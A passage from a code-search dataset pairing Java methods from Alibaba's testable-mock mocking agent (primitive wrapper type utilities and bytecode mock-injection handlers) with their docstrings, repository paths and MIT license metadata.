SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false); assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false); return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT); } static final int INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT), CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT), NUM_MASK = (-1) << SIZE_SHIFT; static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); } static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); } static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); } static int other(int slots) { return slots << SLOT_SHIFT; } } /// format queries: /** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID. public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; } /** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID. public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; } /** Does the wrapped value occupy a single JVM stack slot? public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; } /** Does the wrapped value occupy two JVM stack slots? public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; } /** Is the wrapped type numeric (not void or object)? public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; } /** Is the wrapped type a primitive other than float, double, or void?
Format::isIntegral
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public boolean isSubwordOrInt() { return isIntegral() && isSingleWord(); }
simplified of sun.invoke.util.Wrapper public enum WrapperType { // wrapperType primitiveType char format BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)), // These must be in the order defined for widening primitive conversions in JLS 5.1.2 BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)), SHORT ( Short.class, short.class, 'S', Format.signed( 16)), CHAR (Character.class, char.class, 'C', Format.unsigned(16)), INT ( Integer.class, int.class, 'I', Format.signed( 32)), LONG ( Long.class, long.class, 'J', Format.signed( 64)), FLOAT ( Float.class, float.class, 'F', Format.floating(32)), DOUBLE ( Double.class, double.class, 'D', Format.floating(64)), OBJECT ( Object.class, Object.class, 'L', Format.other( 1)), // VOID must be the last type, since it is "assignable" from any other type: VOID ( Void.class, void.class, 'V', Format.other( 0)), ; private final Class<?> wrapperType; private final Class<?> primitiveType; private final char basicTypeChar; private final int format; WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) { this.wrapperType = wtype; this.primitiveType = ptype; this.basicTypeChar = tchar; this.format = format; } private static abstract class Format { static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12; static final int SIGNED = (-1) << KIND_SHIFT, UNSIGNED = 0 << KIND_SHIFT, FLOATING = 1 << KIND_SHIFT; static final int SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1), SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1); static int format(int kind, int size, int slots) { assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind); assert((size & (size-1)) == 0); // power of two assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false); assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false); return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT); } static final int INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT), CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT), NUM_MASK = (-1) << SIZE_SHIFT; static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); } static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); } static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); } static int other(int slots) { return slots << SLOT_SHIFT; } } /// format queries: /** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID. public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; } /** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID. public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; } /** Does the wrapped value occupy a single JVM stack slot? public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; } /** Does the wrapped value occupy two JVM stack slots? public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; } /** Is the wrapped type numeric (not void or object)? public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; } /** Is the wrapped type a primitive other than float, double, or void? public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; } /** Is the wrapped type one of int, boolean, byte, char, or short?
Format::isSubwordOrInt
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public boolean isSigned() { return format < Format.VOID; }
simplified of sun.invoke.util.Wrapper public enum WrapperType { // wrapperType primitiveType char format BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)), // These must be in the order defined for widening primitive conversions in JLS 5.1.2 BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)), SHORT ( Short.class, short.class, 'S', Format.signed( 16)), CHAR (Character.class, char.class, 'C', Format.unsigned(16)), INT ( Integer.class, int.class, 'I', Format.signed( 32)), LONG ( Long.class, long.class, 'J', Format.signed( 64)), FLOAT ( Float.class, float.class, 'F', Format.floating(32)), DOUBLE ( Double.class, double.class, 'D', Format.floating(64)), OBJECT ( Object.class, Object.class, 'L', Format.other( 1)), // VOID must be the last type, since it is "assignable" from any other type: VOID ( Void.class, void.class, 'V', Format.other( 0)), ; private final Class<?> wrapperType; private final Class<?> primitiveType; private final char basicTypeChar; private final int format; WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) { this.wrapperType = wtype; this.primitiveType = ptype; this.basicTypeChar = tchar; this.format = format; } private static abstract class Format { static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12; static final int SIGNED = (-1) << KIND_SHIFT, UNSIGNED = 0 << KIND_SHIFT, FLOATING = 1 << KIND_SHIFT; static final int SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1), SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1); static int format(int kind, int size, int slots) { assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind); assert((size & (size-1)) == 0); // power of two assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false); assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false); return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT); } static final int INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT), CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT), NUM_MASK = (-1) << SIZE_SHIFT; static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); } static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); } static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); } static int other(int slots) { return slots << SLOT_SHIFT; } } /// format queries: /** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID. public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; } /** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID. public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; } /** Does the wrapped value occupy a single JVM stack slot? public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; } /** Does the wrapped value occupy two JVM stack slots? public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; } /** Is the wrapped type numeric (not void or object)? public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; } /** Is the wrapped type a primitive other than float, double, or void? public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; } /** Is the wrapped type one of int, boolean, byte, char, or short? public boolean isSubwordOrInt() { return isIntegral() && isSingleWord(); } /* Is the wrapped value a signed integral type (one of byte, short, int, or long)?
Format::isSigned
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public boolean isUnsigned() { return format >= Format.BOOLEAN && format < Format.FLOAT; }
simplified of sun.invoke.util.Wrapper public enum WrapperType { // wrapperType primitiveType char format BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)), // These must be in the order defined for widening primitive conversions in JLS 5.1.2 BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)), SHORT ( Short.class, short.class, 'S', Format.signed( 16)), CHAR (Character.class, char.class, 'C', Format.unsigned(16)), INT ( Integer.class, int.class, 'I', Format.signed( 32)), LONG ( Long.class, long.class, 'J', Format.signed( 64)), FLOAT ( Float.class, float.class, 'F', Format.floating(32)), DOUBLE ( Double.class, double.class, 'D', Format.floating(64)), OBJECT ( Object.class, Object.class, 'L', Format.other( 1)), // VOID must be the last type, since it is "assignable" from any other type: VOID ( Void.class, void.class, 'V', Format.other( 0)), ; private final Class<?> wrapperType; private final Class<?> primitiveType; private final char basicTypeChar; private final int format; WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) { this.wrapperType = wtype; this.primitiveType = ptype; this.basicTypeChar = tchar; this.format = format; } private static abstract class Format { static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12; static final int SIGNED = (-1) << KIND_SHIFT, UNSIGNED = 0 << KIND_SHIFT, FLOATING = 1 << KIND_SHIFT; static final int SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1), SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1); static int format(int kind, int size, int slots) { assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind); assert((size & (size-1)) == 0); // power of two assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false); assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false); return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT); } static final int INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT), CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT), NUM_MASK = (-1) << SIZE_SHIFT; static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); } static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); } static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); } static int other(int slots) { return slots << SLOT_SHIFT; } } /// format queries: /** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID. public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; } /** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID. public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; } /** Does the wrapped value occupy a single JVM stack slot? public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; } /** Does the wrapped value occupy two JVM stack slots? public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; } /** Is the wrapped type numeric (not void or object)? public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; } /** Is the wrapped type a primitive other than float, double, or void? public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; } /** Is the wrapped type one of int, boolean, byte, char, or short? public boolean isSubwordOrInt() { return isIntegral() && isSingleWord(); } /* Is the wrapped value a signed integral type (one of byte, short, int, or long)? public boolean isSigned() { return format < Format.VOID; } /* Is the wrapped value an unsigned integral type (one of boolean or char)?
Format::isUnsigned
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public boolean isFloating() { return format >= Format.FLOAT; }
simplified of sun.invoke.util.Wrapper public enum WrapperType { // wrapperType primitiveType char format BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)), // These must be in the order defined for widening primitive conversions in JLS 5.1.2 BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)), SHORT ( Short.class, short.class, 'S', Format.signed( 16)), CHAR (Character.class, char.class, 'C', Format.unsigned(16)), INT ( Integer.class, int.class, 'I', Format.signed( 32)), LONG ( Long.class, long.class, 'J', Format.signed( 64)), FLOAT ( Float.class, float.class, 'F', Format.floating(32)), DOUBLE ( Double.class, double.class, 'D', Format.floating(64)), OBJECT ( Object.class, Object.class, 'L', Format.other( 1)), // VOID must be the last type, since it is "assignable" from any other type: VOID ( Void.class, void.class, 'V', Format.other( 0)), ; private final Class<?> wrapperType; private final Class<?> primitiveType; private final char basicTypeChar; private final int format; WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) { this.wrapperType = wtype; this.primitiveType = ptype; this.basicTypeChar = tchar; this.format = format; } private static abstract class Format { static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12; static final int SIGNED = (-1) << KIND_SHIFT, UNSIGNED = 0 << KIND_SHIFT, FLOATING = 1 << KIND_SHIFT; static final int SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1), SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1); static int format(int kind, int size, int slots) { assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind); assert((size & (size-1)) == 0); // power of two assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false); assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false); return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT); } static final int INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT), CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT), NUM_MASK = (-1) << SIZE_SHIFT; static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); } static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); } static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); } static int other(int slots) { return slots << SLOT_SHIFT; } } /// format queries: /** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID. public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; } /** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID. public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; } /** Does the wrapped value occupy a single JVM stack slot? public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; } /** Does the wrapped value occupy two JVM stack slots? public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; } /** Is the wrapped type numeric (not void or object)? public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; } /** Is the wrapped type a primitive other than float, double, or void? public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; } /** Is the wrapped type one of int, boolean, byte, char, or short? public boolean isSubwordOrInt() { return isIntegral() && isSingleWord(); } /* Is the wrapped value a signed integral type (one of byte, short, int, or long)? public boolean isSigned() { return format < Format.VOID; } /* Is the wrapped value an unsigned integral type (one of boolean or char)? public boolean isUnsigned() { return format >= Format.BOOLEAN && format < Format.FLOAT; } /** Is the wrapped type either float or double?
Format::isFloating
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public boolean isOther() { return (format & ~Format.SLOT_MASK) == 0; }
simplified of sun.invoke.util.Wrapper public enum WrapperType { // wrapperType primitiveType char format BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)), // These must be in the order defined for widening primitive conversions in JLS 5.1.2 BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)), SHORT ( Short.class, short.class, 'S', Format.signed( 16)), CHAR (Character.class, char.class, 'C', Format.unsigned(16)), INT ( Integer.class, int.class, 'I', Format.signed( 32)), LONG ( Long.class, long.class, 'J', Format.signed( 64)), FLOAT ( Float.class, float.class, 'F', Format.floating(32)), DOUBLE ( Double.class, double.class, 'D', Format.floating(64)), OBJECT ( Object.class, Object.class, 'L', Format.other( 1)), // VOID must be the last type, since it is "assignable" from any other type: VOID ( Void.class, void.class, 'V', Format.other( 0)), ; private final Class<?> wrapperType; private final Class<?> primitiveType; private final char basicTypeChar; private final int format; WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) { this.wrapperType = wtype; this.primitiveType = ptype; this.basicTypeChar = tchar; this.format = format; } private static abstract class Format { static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12; static final int SIGNED = (-1) << KIND_SHIFT, UNSIGNED = 0 << KIND_SHIFT, FLOATING = 1 << KIND_SHIFT; static final int SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1), SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1); static int format(int kind, int size, int slots) { assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind); assert((size & (size-1)) == 0); // power of two assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false); assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false); return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT); } static final int INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT), CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT), NUM_MASK = (-1) << SIZE_SHIFT; static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); } static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); } static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); } static int other(int slots) { return slots << SLOT_SHIFT; } } /// format queries: /** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID. public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; } /** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID. public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; } /** Does the wrapped value occupy a single JVM stack slot? public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; } /** Does the wrapped value occupy two JVM stack slots? public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; } /** Is the wrapped type numeric (not void or object)? public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; } /** Is the wrapped type a primitive other than float, double, or void? public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; } /** Is the wrapped type one of int, boolean, byte, char, or short? public boolean isSubwordOrInt() { return isIntegral() && isSingleWord(); } /* Is the wrapped value a signed integral type (one of byte, short, int, or long)? public boolean isSigned() { return format < Format.VOID; } /* Is the wrapped value an unsigned integral type (one of boolean or char)? public boolean isUnsigned() { return format >= Format.BOOLEAN && format < Format.FLOAT; } /** Is the wrapped type either float or double? public boolean isFloating() { return format >= Format.FLOAT; } /** Is the wrapped type either void or a reference?
Format::isOther
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public boolean isConvertibleFrom(WrapperType source) { if (this == source) return true; if (this.compareTo(source) < 0) { // At best, this is a narrowing conversion. return false; } // All conversions are allowed in the enum order between floats and signed ints. // First detect non-signed non-float types (boolean, char, Object, void). boolean floatOrSigned = (((this.format & source.format) & Format.SIGNED) != 0); if (!floatOrSigned) { if (this.isOther()) return true; // can convert char to int or wider, but nothing else return source.format == Format.CHAR; // no other conversions are classified as widening } // All signed and float conversions in the enum order are widening. assert(this.isFloating() || this.isSigned()); assert(source.isFloating() || source.isSigned()); return true; }
Does the JLS 5.1.2 allow a variable of this wrapper's primitive type to be assigned from a value of the given wrapper's primitive type? Cases: <ul> <li>unboxing followed by widening primitive conversion <li>any type converted to {@code void} (i.e., dropping a method call's value) <li>boxing conversion followed by widening reference conversion to {@code Object} </ul> These are the cases allowed by MethodHandle.asType.
Format::isConvertibleFrom
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public Object wrap(Object x) { // do non-numeric wrappers first switch (basicTypeChar) { case 'L': return x; case 'V': return null; } Number xn = numberValue(x); switch (basicTypeChar) { case 'I': return xn.intValue(); case 'J': return xn.longValue(); case 'F': return xn.floatValue(); case 'D': return xn.doubleValue(); case 'S': return (short) xn.intValue(); case 'B': return (byte) xn.intValue(); case 'C': return (char) xn.intValue(); case 'Z': return boolValue(xn.byteValue()); } throw new InternalError("bad wrapper"); }
Wrap a value in this wrapper's type. Performs standard primitive conversions, including truncation and float conversions. Performs returns the unchanged reference for {@code OBJECT}. Returns null for {@code VOID}. Returns a zero value for a null input. @throws ClassCastException if this wrapper is numeric and the operand is not a number, character, boolean, or null
WrapperType::wrap
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public Object wrap(int x) { if (basicTypeChar == 'L') return x; switch (basicTypeChar) { case 'L': throw new IllegalArgumentException("cannot wrap to object type"); case 'V': return null; case 'I': return x; case 'J': return (long) x; case 'F': return (float) x; case 'D': return (double) x; case 'S': return (short) x; case 'B': return (byte) x; case 'C': return (char) x; case 'Z': return boolValue((byte) x); } throw new InternalError("bad wrapper"); }
Wrap a value (an int or smaller value) in this wrapper's type. Performs standard primitive conversions, including truncation and float conversions. Produces an {@code Integer} for {@code OBJECT}, although the exact type of the operand is not known. Returns null for {@code VOID}.
WrapperType::wrap
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
private void injectInheritedMockMethods(ClassNode cn) { List<Type> inheritedTypes = new ArrayList<Type>(); AnnotationNode mockContainerAnnotation = AnnotationUtil.getClassAnnotation(cn, MOCK_CONTAINER); if (mockContainerAnnotation != null) { inheritedTypes.addAll(AnnotationUtil.getAnnotationParameter(mockContainerAnnotation, FIELD_INHERITS, Collections.<Type>emptyList(), List.class)); } for (Type inheritedType : inheritedTypes) { String className = inheritedType.getClassName(); ClassNode inheritedClassNode = ClassUtil.getClassNode(className); if (inheritedClassNode == null) { throw new IllegalArgumentException("Failed to load class " + className); } for (MethodNode mn : inheritedClassNode.methods) { if (mn.visibleAnnotations == null) { continue; } if (ClassUtil.hasMethod(cn, mn)) { LogUtil.warn("Method '%s' with same signature already exists in class %s, skipped", mn.name, cn.name); continue; } for (AnnotationNode an : mn.visibleAnnotations) { if ((ClassUtil.toByteCodeClassName(MOCK_INVOKE)).equals(an.desc)) { String targetClassName = getTargetClassName(an); String targetMethod = AnnotationUtil.getAnnotationParameter(an, FIELD_TARGET_METHOD, null, String.class); String desc = (targetClassName == null) ? mn.desc : MethodUtil.addParameterAtBegin(mn.desc, ClassUtil.toByteCodeClassName(targetClassName)); String name = (targetMethod == null) ? mn.name : targetMethod; MethodNode mockMethod = new MethodNode(ACC_PUBLIC, name, desc, null, null); List<Byte> parameters = MethodUtil.getParameterTypes(mn.desc); int maxStack = 2; InsnList il = new InsnList(); il.add(new MethodInsnNode(INVOKESTATIC, ClassUtil.toSlashSeparatedName(className), GET_TESTABLE_REF, VOID_ARGS + ClassUtil.toByteCodeClassName(className), false)); il.add(new VarInsnNode(ALOAD, 1)); for (int pi = 2; pi < parameters.size() + 2; pi++) { ImmutablePair<Integer, Integer> codeAndStack = BytecodeUtil.getLoadParameterByteCode(parameters.get(pi - 2)); il.add(new VarInsnNode(codeAndStack.left, pi)); maxStack += codeAndStack.right; } il.add(new MethodInsnNode(INVOKEVIRTUAL, ClassUtil.toSlashSeparatedName(className), mn.name, desc, false)); il.add(new InsnNode(ARETURN)); mockMethod.instructions = il; mockMethod.maxStack = maxStack; mockMethod.maxLocals = 2 + parameters.size(); mockMethod.visibleAnnotations = fastListOf(new AnnotationNode(ClassUtil.toByteCodeClassName(MOCK_INVOKE))); cn.methods.add(mockMethod); } else if ((ClassUtil.toByteCodeClassName(MOCK_NEW)).equals(an.desc)) { // TODO: should also support MockNew annotation } } } } }
add member field of inherited mock class by @MockContainer annotation
MockClassHandler::injectInheritedMockMethods
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/handler/MockClassHandler.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/handler/MockClassHandler.java
MIT
private MethodInfo getMemberInjectMethodName(Set<MethodInfo> memberInjectMethods, MethodInsnNode node) { for (MethodInfo m : memberInjectMethods) { String nodeOwner = ClassUtil.fitCompanionClassName(node.owner); String nodeName = ClassUtil.fitKotlinAccessorName(node.name); // Kotlin accessor method will append an extra type parameter String nodeDesc = nodeName.equals(node.name) ? node.desc : MethodUtil.removeFirstParameter(node.desc); if (m.getClazz().equals(nodeOwner) && m.getName().equals(nodeName) && m.getDesc().equals(nodeDesc)) { return m; } } return null; }
find the mock method fit for specified method node @param memberInjectMethods mock methods available @param node method node to match for @return mock method info
SourceClassHandler::getMemberInjectMethodName
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/handler/SourceClassHandler.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/handler/SourceClassHandler.java
MIT
public List<MethodInfo> getTestableMockMethods(String className) { List<MethodInfo> methodInfos = new ArrayList<MethodInfo>(); ClassNode cn = ClassUtil.getClassNode(className); if (cn == null) { return new ArrayList<MethodInfo>(); } for (MethodNode mn : getAllMethods(cn)) { addMethodWithAnnotationCheck(methodInfos, cn, mn); } handleMockContainerInherits(methodInfos, cn); return methodInfos; }
Get information of all mock methods @param className mock class name @return list of mock methods
MockClassParser::getTestableMockMethods
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java
MIT
public boolean isMockClass(ClassNode cn) { if (cn == null) { return false; } DiagnoseUtil.setupByClass(cn); if (AnnotationUtil.getClassAnnotation(cn, MOCK_CONTAINER) != null) { return true; } for (MethodNode mn : cn.name.endsWith(MOCK_POSTFIX) ? getAllMethods(cn) : cn.methods) { if (mn.visibleAnnotations != null) { for (AnnotationNode an : mn.visibleAnnotations) { String fullClassName = toJavaStyleClassName(an.desc); if (fullClassName.equals(ConstPool.MOCK_INVOKE) || fullClassName.equals(ConstPool.MOCK_NEW)) { return true; } } } } return false; }
